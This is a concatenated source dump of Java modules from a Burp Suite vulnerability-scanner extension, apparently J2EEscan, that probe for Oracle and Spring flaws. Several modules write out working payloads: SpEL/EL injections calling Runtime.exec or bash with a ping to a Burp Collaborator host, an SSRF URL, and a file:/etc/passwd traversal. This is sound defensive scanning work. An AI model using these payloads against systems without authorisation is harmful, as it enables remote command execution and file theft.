9 | import burp.IResponseInfo;
10 | import burp.IScanIssue;
11 | import burp.IScannerInsertionPoint;
12 | import burp.j2ee.Confidence;
13 | import burp.j2ee.CustomScanIssue;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.annotation.RunOnlyOnce;
16 | import burp.j2ee.issues.IModule;
17 |
18 | import java.io.PrintWriter;
19 | import java.net.MalformedURLException;
20 | import java.net.URL;
21 | import java.util.ArrayList;
22 | import java.util.Arrays;
23 | import java.util.LinkedHashSet;
24 | import java.util.List;
25 |
26 | /**
27 | *
28 | * Detection Oracle Database sqlnet.log file disclosure
29 | *
30 | *
31 | */
32 | public class OASSqlnetLogDisclosure implements IModule {
33 |
34 | private static final String TITLE = "Information Disclosure - Oracle Log Database Accessible";
35 | private static final String DESCRIPTION = "J2EEscan identified an information disclosure issue. "
36 | + "Application log sqlnet.log is publicly available, and may "
37 | + "contain sensitive internal information (es: internal paths, usernames, internal IP) "
38 | + "not intended for public viewing."
39 | + " "
40 | + "References : "
41 | + "https://docs.oracle.com/cd/A57673_01/DOC/net/doc/NWTR23/apa.htm "
42 | + "http://www.stigviewer.com/stig/oracle_database_10g_installation/2014-04-02/finding/V-2612";
43 | private static final String REMEDY = "Update the OAS with the last security patches, "
44 | + "and restrict access to the resource sqlnet.log ";
45 |
46 | // List of host and port system already tested
47 | private static LinkedHashSet hs = new LinkedHashSet();
48 | private static final List SQLNETLOG_PATHS = Arrays.asList(
49 | "/sqlnet.log"
50 | );
51 |
52 | private PrintWriter stderr;
53 | private static final List GREP_STRINGS = Arrays.asList(
54 | "VERSION INFORMATION".getBytes()
55 | );
56 |
57 | @RunOnlyOnce
58 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
59 |
60 | List issues = new ArrayList<>();
61 |
62 | IExtensionHelpers helpers = callbacks.getHelpers();
63 | stderr = new PrintWriter(callbacks.getStderr(), true);
64 |
65 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
66 |
67 | URL url = reqInfo.getUrl();
68 | String host = url.getHost();
69 | int port = url.getPort();
70 |
71 | String system = host.concat(Integer.toString(port));
72 |
73 | // System not yet tested for this vulnerability
74 | if (!hs.contains(system)) {
75 |
76 | hs.add(system);
77 |
78 | String protocol = url.getProtocol();
79 | Boolean isSSL = (protocol.equals("https"));
80 |
81 | for (String SQLLOG_PATH : SQLNETLOG_PATHS) {
82 |
83 | try {
84 | // Test the presence of tomcat console
85 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SQLLOG_PATH);
86 | byte[] oastest = helpers.buildHttpRequest(urlToTest);
87 |
88 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
89 | url.getPort(), isSSL, oastest);
90 |
91 | // look for matches of our active check grep string in the response body
92 | IResponseInfo statusInfo = helpers.analyzeResponse(responseBytes);
93 |
94 | if (statusInfo.getStatusCode() == 200) {
95 |
96 | for (byte[] grepString : GREP_STRINGS) {
97 | List matches_j2ee = getMatches(responseBytes, grepString, helpers);
98 | if (matches_j2ee.size() > 0) {
99 |
100 | issues.add(new CustomScanIssue(
101 | baseRequestResponse.getHttpService(),
102 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
103 | new CustomHttpRequestResponse(oastest, responseBytes, baseRequestResponse.getHttpService()),
104 | TITLE,
105 | DESCRIPTION,
106 | REMEDY,
107 | Risk.Low,
108 | Confidence.Certain
109 | ));
110 |
111 | }
112 | }
113 | }
114 |
115 | } catch (MalformedURLException ex) {
116 | stderr.println("Malformed URL Exception " + ex);
117 | }
118 | }
119 | }
120 |
121 | return issues;
122 | }
123 |
124 | }
125 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/OracleCGIPrintEnv.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import static burp.HTTPMatcher.URIMutator;
5 | import static burp.HTTPMatcher.getMatches;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IRequestInfo;
10 | import burp.IResponseInfo;
11 | import burp.IScanIssue;
12 | import burp.IScannerInsertionPoint;
13 | import burp.j2ee.Confidence;
14 | import burp.j2ee.CustomScanIssue;
15 | import burp.j2ee.Risk;
16 | import burp.j2ee.annotation.RunOnlyOnce;
17 | import burp.j2ee.issues.IModule;
18 |
19 | import java.io.PrintWriter;
20 | import java.net.MalformedURLException;
21 | import java.net.URL;
22 | import java.util.ArrayList;
23 | import java.util.Arrays;
24 | import java.util.List;
25 |
26 |
27 | public class OracleCGIPrintEnv implements IModule {
28 |
29 | private static final String TITLE_INFO_DISCLOSURE = "Information Disclosure - cgi printenv";
30 | private static final String DESCRIPTION_INFO_DISCLOSURE = "J2EEscan identified an information disclosure issue "
31 | + "in the /cgi-bin/printenv path which reveals internal system information.";
32 |
33 | private static final List CGIENV_PATHS = Arrays.asList(
34 | "/cgi-bin/printenv"
35 | );
36 |
37 | private PrintWriter stderr;
38 | private PrintWriter stdout;
39 |
40 | private static final byte[] GREP_STRINGS = "DOCUMENT_ROOT".getBytes();
41 |
42 | @RunOnlyOnce
43 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
44 | List issues = new ArrayList<>();
45 |
46 | IExtensionHelpers helpers = callbacks.getHelpers();
47 | stderr = new PrintWriter(callbacks.getStderr(), true);
48 | stdout = new PrintWriter(callbacks.getStdout(), true);
49 |
50 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
51 |
52 | URL url = reqInfo.getUrl();
53 |
54 | String protocol = url.getProtocol();
55 | Boolean isSSL = (protocol.equals("https"));
56 |
57 | List CGIENV_PATHS_MUTATED = URIMutator(CGIENV_PATHS);
58 | for (String CGIENV_PATH : CGIENV_PATHS_MUTATED) {
59 |
60 | try {
61 |
62 | // Test for printenv cgi
63 | URL cgiUrlToTest = new URL(protocol, url.getHost(), url.getPort(), CGIENV_PATH);
64 | byte[] cgienvTest = helpers.buildHttpRequest(cgiUrlToTest);
65 | byte[] cgienvResponse = callbacks.makeHttpRequest(url.getHost(),
66 | url.getPort(), isSSL, cgienvTest);
67 | IResponseInfo cgienvInfo = helpers.analyzeResponse(cgienvResponse);
68 |
69 | if (cgienvInfo.getStatusCode() == 200) {
70 |
71 | String cgiResponse = helpers.bytesToString(cgienvResponse);
72 | String cgienvResponseBody = cgiResponse.substring(cgienvInfo.getBodyOffset());
73 |
74 | // look for matches of our active check grep string
75 | List matchHappyAxis = getMatches(helpers.stringToBytes(cgienvResponseBody),
76 | GREP_STRINGS, helpers);
77 |
78 | if ((matchHappyAxis.size() > 0)) {
79 | stdout.println("cgi-bin/printenv detected " + cgiUrlToTest.toString());
80 |
81 | issues.add(new CustomScanIssue(
82 | baseRequestResponse.getHttpService(),
83 | cgiUrlToTest,
84 | new CustomHttpRequestResponse(cgienvTest, cgienvResponse, baseRequestResponse.getHttpService()),
85 | TITLE_INFO_DISCLOSURE,
86 | DESCRIPTION_INFO_DISCLOSURE,
87 | "Disable remote access to the debug/test cgi",
88 | Risk.Low,
89 | Confidence.Certain
90 | ));
91 | }
92 | }
93 | } catch (MalformedURLException ex) {
94 | stderr.println("Malformed URL Exception " + ex);
95 | }
96 | }
97 |
98 | return issues;
99 |
100 | }
101 |
102 | }
103 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/OracleEBSSSRF.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.CustomHttpRequestResponse;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IScanIssue;
8 | import burp.IScannerInsertionPoint;
9 | import burp.IBurpCollaboratorClientContext;
10 | import burp.IBurpCollaboratorInteraction;
11 | import burp.IRequestInfo;
12 | import burp.IResponseInfo;
13 |
14 | import burp.j2ee.Confidence;
15 | import burp.j2ee.CustomScanIssue;
16 | import burp.j2ee.Risk;
17 | import burp.j2ee.annotation.RunOnlyOnce;
18 | import burp.j2ee.issues.IModule;
19 | import java.io.PrintWriter;
20 | import java.net.MalformedURLException;
21 | import java.net.URL;
22 |
23 | import java.util.ArrayList;
24 | import java.util.LinkedHashSet;
25 | import java.util.List;
26 |
27 |
28 | /**
29 | *
30 | * Oracle E-Business Suite - Server Side Request Forgery
31 | *
32 | *
33 | *
34 | * Refs:
35 | * - CVE-2017-10246 - https://www.exploit-db.com/exploits/42340 -
36 | *
37 | *
38 | * TODO XXE -
39 | * https://packetstormsecurity.com/files/134117/Oracle-E-Business-Suite-12.1.3-XXE-Injection.html
40 | *
41 | */
42 | public class OracleEBSSSRF implements IModule {
43 |
44 | private static final String TITLE = "Oracle E-Business Suite - SSRF";
45 | private static final String DESCRIPTION = "J2EEscan detect a Server Side Request Forgery on the Oracle E-Business Suite "
46 | + " "
47 | + "References : "
48 | + "https://www.exploit-db.com/exploits/42340 ";
49 |
50 | private static final String REMEDY = "It's reccomended to apply the security patch provided by Oracle: "
51 | + "https://nvd.nist.gov/vuln/detail/CVE-2017-10246 ";
52 |
53 | // List of host and port system already tested
54 | private static LinkedHashSet hs = new LinkedHashSet();
55 |
56 | private PrintWriter stderr;
57 |
58 | @RunOnlyOnce
59 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
60 |
61 | IExtensionHelpers helpers = callbacks.getHelpers();
62 | stderr = new PrintWriter(callbacks.getStderr(), true);
63 |
64 | List issues = new ArrayList<>();
65 |
66 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
67 |
68 | URL url = reqInfo.getUrl();
69 | String host = url.getHost();
70 | int port = url.getPort();
71 | String protocol = url.getProtocol();
72 | Boolean isSSL = (protocol.equals("https"));
73 |
74 | String system = host.concat(Integer.toString(port));
75 |
76 | // Collaborator context
77 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
78 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
79 |
80 | String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);
81 |
82 | // System not yet tested for this vulnerability
83 | if (!hs.contains(system)) {
84 |
85 | hs.add(system);
86 |
87 | try {
88 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), Oracle_SSRF_Help);
89 |
90 | byte[] helpSSRFtest = helpers.buildHttpRequest(urlToTest);
91 |
92 | byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
93 | url.getPort(), isSSL, helpSSRFtest);
94 |
95 | // Poll Burp Collaborator for remote interaction
96 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
97 |
98 | if (!collaboratorInteractions.isEmpty()) {
99 |
100 | issues.add(new CustomScanIssue(
101 | baseRequestResponse.getHttpService(),
102 | urlToTest,
103 | new CustomHttpRequestResponse(helpSSRFtest, responseBytes, baseRequestResponse.getHttpService()),
104 | TITLE,
105 | DESCRIPTION,
106 | REMEDY,
107 | Risk.High,
108 | Confidence.Certain
109 | ));
110 | }
111 |
112 | } catch (MalformedURLException ex) {
113 | stderr.println("Malformed URL Exception " + ex);
114 | }
115 |
116 | }
117 |
118 | return issues;
119 |
120 | }
121 | }
122 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/PivotalSpringTraversalCVE20143625.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isEtcPasswdFile;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IScanIssue;
9 | import burp.IScannerInsertionPoint;
10 | import burp.j2ee.Confidence;
11 | import burp.j2ee.CustomScanIssue;
12 | import burp.j2ee.Risk;
13 | import burp.j2ee.issues.IModule;
14 | import java.io.PrintWriter;
15 | import java.net.URL;
16 | import java.util.ArrayList;
17 | import java.util.Arrays;
18 | import java.util.List;
19 |
20 | /**
21 | *
22 | * Pivotal Spring Traversal issue CVE 2014-3625
23 | *
24 | * Directory traversal vulnerability in Pivotal Spring Framework 3.0.4 through
25 | * 3.2.x before 3.2.12, 4.0.x before 4.0.8, and 4.1.x before 4.1.2 allows remote
26 | * attackers to read arbitrary files via unspecified vectors, related to static
27 | * resource handling.
28 | *
29 | * A not common `mvc:resources` tag configuration is needed to trigger the
30 | * vulnerability
31 | *
32 | *
33 | * Credits: Special thanks to @Caligin35
34 | *
35 | *
36 | */
37 | public class PivotalSpringTraversalCVE20143625 implements IModule {
38 |
39 | private static final String TITLE = "Pivotal Spring Traversal CVE 2014-3625";
40 | private static final String DESCRIPTION = "J2EEscan identified a Directory Traversal vulnerability due "
41 | + "to an outdated Spring library. "
42 | + "References "
43 | + "http://pivotal.io/security/cve-2014-3625 "
44 | + "https://jira.spring.io/browse/SPR-12354";
45 |
46 | private static final String REMEDY = "Change the mvc:resources tag configuration and update the spring library";
47 |
48 | private static final String INJ = "file:/etc/passwd";
49 |
50 | private static final List staticURLFolders = Arrays.asList(
51 | "/resources/",
52 | "/files/",
53 | "/upload/",
54 | "/static/",
55 | "/content/",
56 | "/html/",
57 | "/deploy/"
58 | );
59 |
60 | private PrintWriter stderr;
61 |
62 | /**
63 | *
64 | * Mutator to modify static URI path with the Injection to trigger Traversal issue
65 | *
66 | * GET /spring-css/resources/css/main.css HTTP/1.1
67 | * Host: localhost:8084
68 | * Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
69 | * Referer:http://localhost:8084/spring-css/
70 | * Cookie: JSESSIONID=1C4FD6278C5D1F6448430219B83213C1
71 | * Connection: close
72 | */
73 | private String mutator(String httpRequest, String staticResourceFolder, String payload) {
74 | return httpRequest.replaceFirst(staticResourceFolder + ".* ", payload + " ");
75 | }
76 |
77 | @Override
78 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
79 |
80 | stderr = new PrintWriter(callbacks.getStderr(), true);
81 |
82 | List issues = new ArrayList<>();
83 | IExtensionHelpers helpers = callbacks.getHelpers();
84 |
85 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
86 |
87 | // Skip not GET requests
88 | if (!reqInfo.getMethod().equals("GET")) {
89 | return issues;
90 | }
91 |
92 | URL url = reqInfo.getUrl();
93 |
94 | String currentPath = url.getPath();
95 |
96 | for (String staticResourceFolder : staticURLFolders) {
97 |
98 | if (currentPath.contains(staticResourceFolder)) {
99 |
100 | byte[] rawrequest = baseRequestResponse.getRequest();
101 | String HTTPRequest = callbacks.getHelpers().bytesToString(rawrequest);
102 |
103 | String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
104 |
105 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
106 | baseRequestResponse.getHttpService(),
107 | callbacks.getHelpers().stringToBytes(mutatedHTTPRequest));
108 |
109 | if (isEtcPasswdFile(checkRequestResponse.getResponse(), helpers)) {
110 | issues.add(new CustomScanIssue(
111 | baseRequestResponse.getHttpService(),
112 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
113 | checkRequestResponse,
114 | TITLE,
115 | DESCRIPTION,
116 | REMEDY,
117 | Risk.High,
118 | Confidence.Certain
119 | ));
120 | }
121 |
122 | }
123 | }
124 |
125 | return issues;
126 |
127 | }
128 | }
129 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/SpringBootRestRCE.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.HTTPParser;
5 | import static burp.HTTPParser.isJSONRequest;
6 | import burp.IBurpCollaboratorClientContext;
7 | import burp.IBurpCollaboratorInteraction;
8 | import burp.IBurpExtenderCallbacks;
9 | import burp.IExtensionHelpers;
10 | import burp.IHttpRequestResponse;
11 | import burp.IRequestInfo;
12 | import burp.IScanIssue;
13 | import burp.IScannerInsertionPoint;
14 | import burp.j2ee.Confidence;
15 | import burp.j2ee.CustomScanIssue;
16 | import burp.j2ee.Risk;
17 | import burp.j2ee.issues.IModule;
18 |
19 | import java.io.PrintWriter;
20 | import java.net.URL;
21 | import java.util.ArrayList;
22 | import java.util.LinkedHashSet;
23 | import java.util.List;
24 |
25 | /**
26 | *
27 | * Security issue in Spring Data REST (CVE-2017-8046)
28 | *
29 | *
30 | * References:
31 | * https://spring.io/blog/2018/03/06/security-issue-in-spring-data-rest-cve-2017-8046
32 | *
33 | *
34 | */
35 | public class SpringBootRestRCE implements IModule {
36 |
37 | private static final String TITLE = "Spring Data REST - Remote Command Execution CVE-2017-8046";
38 | private static final String DESCRIPTION = "J2EEscan identified the a remote command execution on Spring Data REST (CVE-2017-8046). ";
39 | private static final String REMEDY = "Update the remote library with the last security patches provided by Pivotal: "
40 | + "https://spring.io/blog/2018/03/06/security-issue-in-spring-data-rest-cve-2017-8046 ";
41 |
42 | // List of applications already tested, to avoid duplicate scans on the same item
43 | private static LinkedHashSet hsc = new LinkedHashSet();
44 |
45 | private PrintWriter stderr;
46 | private PrintWriter stdout;
47 |
48 |
49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
50 |
51 | IExtensionHelpers helpers = callbacks.getHelpers();
52 | stderr = new PrintWriter(callbacks.getStderr(), true);
53 | stdout = new PrintWriter(callbacks.getStdout(), true);
54 |
55 | List issues = new ArrayList<>();
56 |
57 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
58 | URL url = reqInfo.getUrl();
59 |
60 | if (!isJavaApplicationByURL(url)) {
61 | return issues;
62 | }
63 |
64 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
65 |
66 | if (contentTypeHeader == null) {
67 | return issues;
68 | }
69 |
70 | // Skip not JSON requests
71 | if (!isJSONRequest(contentTypeHeader)) {
72 | return issues;
73 | }
74 |
75 | String host = url.getHost();
76 | String system = host.concat(url.getPath());
77 |
78 | // System not yet tested for this vulnerability
79 | if (!hsc.contains(system)) {
80 |
81 | hsc.add(system);
82 |
83 | List headers = reqInfo.getHeaders();
84 | String firstHeader = headers.get(0);
85 | headers.set(0, firstHeader.replaceFirst("POST ", "PATCH "));
86 |
87 | List headersWithContentTypePatch = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/json-patch+json");
88 | List headersWithContentTypePatchAndAccept = HTTPParser.addOrUpdateHeader(headersWithContentTypePatch, "Accept", "*/*");
89 |
90 | // Collaborator context
91 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
92 |
93 | // New collaborator unique URI generated ( example f2ivf62a9k7w14h8o8cg7x10prvhj6.burpcollaborator.net )
94 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
95 |
96 | // Payload to trigger remote ping
97 | String payload = String.format("\\\"ping -c 2 %s\\\"", currentCollaboratorPayload);
98 | String finalPayload = "[{ \"op\" : \"replace\", \"path\" : \"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(" + payload + ").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x\", \"value\" : \"j2eescan\" }]";
99 |
100 | byte[] message = helpers.buildHttpMessage(headersWithContentTypePatchAndAccept, finalPayload.getBytes());
101 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
102 |
103 | // Poll Burp Collaborator for remote interaction
104 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
105 |
106 | if (!collaboratorInteractions.isEmpty()) {
107 | issues.add(new CustomScanIssue(
108 | baseRequestResponse.getHttpService(),
109 | reqInfo.getUrl(),
110 | resp,
111 | TITLE,
112 | DESCRIPTION,
113 | REMEDY,
114 | Risk.High,
115 | Confidence.Certain
116 | ));
117 | }
118 |
119 |
120 | }
121 |
122 | return issues;
123 |
124 | }
125 |
126 | }
127 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/SpringDataCommonRCE.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.HTTPParser;
5 | import static burp.HTTPParser.isJSONRequest;
6 | import burp.IBurpCollaboratorClientContext;
7 | import burp.IBurpCollaboratorInteraction;
8 | import burp.IBurpExtenderCallbacks;
9 | import burp.IExtensionHelpers;
10 | import burp.IHttpRequestResponse;
11 | import burp.IRequestInfo;
12 | import burp.IScanIssue;
13 | import burp.IScannerInsertionPoint;
14 | import burp.j2ee.Confidence;
15 | import burp.j2ee.CustomScanIssue;
16 | import burp.j2ee.Risk;
17 | import burp.j2ee.issues.IModule;
18 | import java.io.PrintWriter;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.List;
22 |
23 | /**
24 | *
25 | * Spring Data Commons Remote Code Execution - CVE-2018-1273
26 | *
27 | *
28 | */
29 | public class SpringDataCommonRCE implements IModule {
30 |
31 | private static final String TITLE = "Spring Data Commons Remote Code Execution - CVE-2018-1273";
32 | private static final String DESCRIPTION = "J2EEscan identified a remote command execution on the Spring Data Commons component. "
33 | + "Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder "
34 | + "vulnerability caused by improper neutralization of special elements. "
35 | + " "
36 | + "References : "
37 | + "https://pivotal.io/security/cve-2018-1273 "
38 | + "https://gist.github.com/matthiaskaiser/bfb274222c009b3570ab26436dc8799e "
39 | + "https://github.com/spring-projects/spring-data-commons/commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a "
40 | + "https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653 "
41 | + "https://twitter.com/h3xstream/status/984098634353475584 "
42 | + "https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c "
43 | + "https://xz.aliyun.com/t/2269";
44 |
45 | private static final String REMEDY = "Upgrade the Spring Data Commons library";
46 |
47 | private PrintWriter stderr;
48 | private PrintWriter stdout;
49 |
50 | @Override
51 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
52 |
53 | IExtensionHelpers helpers = callbacks.getHelpers();
54 | stderr = new PrintWriter(callbacks.getStderr(), true);
55 | stdout = new PrintWriter(callbacks.getStdout(), true);
56 |
57 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
58 |
59 | URL url = reqInfo.getUrl();
60 |
61 | List issues = new ArrayList<>();
62 |
63 | if (!isJavaApplicationByURL(url)) {
64 | return issues;
65 | }
66 |
67 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
68 |
69 | // Skip not POST request and request with JSON elements
70 | if (contentTypeHeader == null) {
71 | return issues;
72 | }
73 | if (isJSONRequest(contentTypeHeader)) {
74 | return issues;
75 | }
76 |
77 | List headers = reqInfo.getHeaders();
78 | String request = helpers.bytesToString(baseRequestResponse.getRequest());
79 | String requestBody = request.substring(reqInfo.getBodyOffset());
80 |
81 | String injection = "[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\")]=";
82 | // Alternative payload
83 | // [#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('ping+host')")]
84 |
85 | // Collaborator context
86 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
87 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
88 |
89 | // Payload to trigger remote ping
90 | String pingPayload = "ping -c 3 " + currentCollaboratorPayload;
91 | String finalPayload = String.format(injection, pingPayload);
92 | String updatedBody = requestBody.replace("=", finalPayload);
93 |
94 | // Build request
95 | byte[] message = helpers.buildHttpMessage(headers, updatedBody.getBytes());
96 | IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
97 |
98 | // Poll Burp Collaborator for remote interaction
99 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
100 |
101 | if (!collaboratorInteractions.isEmpty()) {
102 | issues.add(new CustomScanIssue(
103 | baseRequestResponse.getHttpService(),
104 | reqInfo.getUrl(),
105 | resp,
106 | TITLE,
107 | DESCRIPTION,
108 | REMEDY,
109 | Risk.High,
110 | Confidence.Certain
111 | ));
112 | }
113 |
114 | return issues;
115 |
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/SpringWebFlowDataBindExpressionCVE20174971.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.HTTPParser;
5 | import static burp.HTTPParser.isJSONRequest;
6 | import burp.IBurpCollaboratorClientContext;
7 | import burp.IBurpCollaboratorInteraction;
8 | import burp.IBurpExtenderCallbacks;
9 | import burp.IExtensionHelpers;
10 | import burp.IHttpRequestResponse;
11 | import burp.IParameter;
12 | import burp.IRequestInfo;
13 | import burp.IScanIssue;
14 | import burp.IScannerInsertionPoint;
15 | import burp.j2ee.Confidence;
16 | import burp.j2ee.CustomScanIssue;
17 | import burp.j2ee.Risk;
18 | import burp.j2ee.issues.IModule;
19 | import java.io.PrintWriter;
20 | import java.net.URL;
21 | import java.util.ArrayList;
22 | import java.util.List;
23 |
24 | /**
25 | *
26 | * Data Binding Expression Vulnerability in Spring Web Flow - CVE-2017-4971
27 | *
28 | *
29 | */
30 | public class SpringWebFlowDataBindExpressionCVE20174971 implements IModule {
31 |
32 | private static final String TITLE = "Data Binding Expression Vulnerability in Spring Web Flow - CVE-2017-4971";
33 | private static final String DESCRIPTION = "J2EEscan identified a remote command execution on Spring Web Flow component. "
34 | + "Applications that do not change the value of the MvcViewFactoryCreator useSpringBinding
property br />"
35 | + "which is disabled by default can be vulnerable to malicious EL expressions in view states."
36 | + " "
37 | + "References : "
38 | + "https://jira.spring.io/browse/SWF-1700 "
39 | + "https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523 "
40 | + "https://github.com/spring-projects/spring-webflow/commit/ec3d54d2305e6b6bce12f770fec67fe63008d45b";
41 |
42 | private static final String REMEDY = "Upgrade the Spring Web Flow library";
43 |
44 | private PrintWriter stderr;
45 | private PrintWriter stdout;
46 |
47 | @Override
48 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
49 |
50 | IExtensionHelpers helpers = callbacks.getHelpers();
51 | stderr = new PrintWriter(callbacks.getStderr(), true);
52 | stdout = new PrintWriter(callbacks.getStdout(), true);
53 |
54 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
55 |
56 | byte[] modifiedRawRequest = null;
57 |
58 | URL url = reqInfo.getUrl();
59 |
60 | List issues = new ArrayList<>();
61 |
62 | if (!isJavaApplicationByURL(url)) {
63 | return issues;
64 | }
65 |
66 | String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
67 |
68 | // Skip not POST request and request with JSON elements
69 | if (contentTypeHeader == null) {
70 | return issues;
71 | }
72 | if (isJSONRequest(contentTypeHeader)) {
73 | return issues;
74 | }
75 |
76 | List headers = reqInfo.getHeaders();
77 | String request = helpers.bytesToString(baseRequestResponse.getRequest());
78 | String requestBody = request.substring(reqInfo.getBodyOffset());
79 |
80 | String injection = "_(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"ping -c 3 %s\")).start()";
81 |
82 | // Collaborator context
83 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
84 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
85 |
86 | String payloadSpringDataBind = String.format(injection, currentCollaboratorPayload);
87 |
88 | byte[] rawrequest = baseRequestResponse.getRequest();
89 |
90 | modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
91 | callbacks.getHelpers().buildParameter(payloadSpringDataBind,
92 | "j2eescan", IParameter.PARAM_BODY)
93 | );
94 |
95 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
96 | baseRequestResponse.getHttpService(), modifiedRawRequest);
97 |
98 |
99 | // Poll Burp Collaborator for remote interaction
100 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
101 |
102 | if (!collaboratorInteractions.isEmpty()) {
103 | issues.add(new CustomScanIssue(
104 | baseRequestResponse.getHttpService(),
105 | reqInfo.getUrl(),
106 | checkRequestResponse,
107 | TITLE,
108 | DESCRIPTION,
109 | REMEDY,
110 | Risk.High,
111 | Confidence.Certain
112 | ));
113 | }
114 |
115 | return issues;
116 |
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/UTF8ResponseSplitting.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPParser.getResponseHeaderValue;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IResponseInfo;
